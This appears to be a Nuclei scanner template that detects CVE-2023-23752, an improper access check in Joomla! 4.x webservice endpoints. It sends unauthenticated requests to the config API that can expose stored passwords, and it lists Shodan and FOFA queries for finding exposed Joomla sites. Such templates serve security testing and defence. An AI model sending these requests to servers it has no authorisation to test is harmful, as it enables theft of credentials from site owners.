id: CVE-2023-23752

info:
  name: Joomla! Webservice - Password Disclosure
  author: badboycxcc,Sascha Brendel
  severity: medium
  description: |
    An issue was discovered in Joomla! 4.0.0 through 4.2.7. An improper access check allows unauthorized access to webservice endpoints.
  impact: |
    The vulnerability can lead to unauthorized access to user passwords, compromising the confidentiality of user accounts.
  remediation: Upgrade to Joomla! version 4.2.8 or later.
  reference:
    - https://unsafe.sh/go-149780.html
    - https://twitter.com/gov_hack/status/1626471960141238272/photo/1
    - https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-23552
    - https://github.com/20142995/pocsuite3
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-23752
    epss-score: 0.99827
    epss-percentile: 0.99959
    cpe: cpe:2.3:a:joomla:joomla\!:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: joomla
    product: joomla\!
    shodan-query:
      - html:"Joomla! - Open Source Content Management"
      - http.html:"joomla! - open source content management"
      - http.component:"joomla"
      - cpe:"cpe:2.3:a:joomla:joomla\!"
    fofa-query: body="joomla! - open source content management"
  tags: cve,cve2023,joomla,kev,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/api/index.php/v1/config/application?public=true'
      - '{{BaseURL}}/api/v1/config/application?public=true'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"links":'
          - '"attributes":'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'
          - 'application/vnd.api+json'
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207448ffe52148ffb99b2127bce62fad62ece5705d76f2903f53b93c116f46952a022100c1e73c4d0b53579540afd42b5b9d4fe012f6ab11074d61f9ad3ff22bd856256d:922c64590222798bb761d5b6d8e72950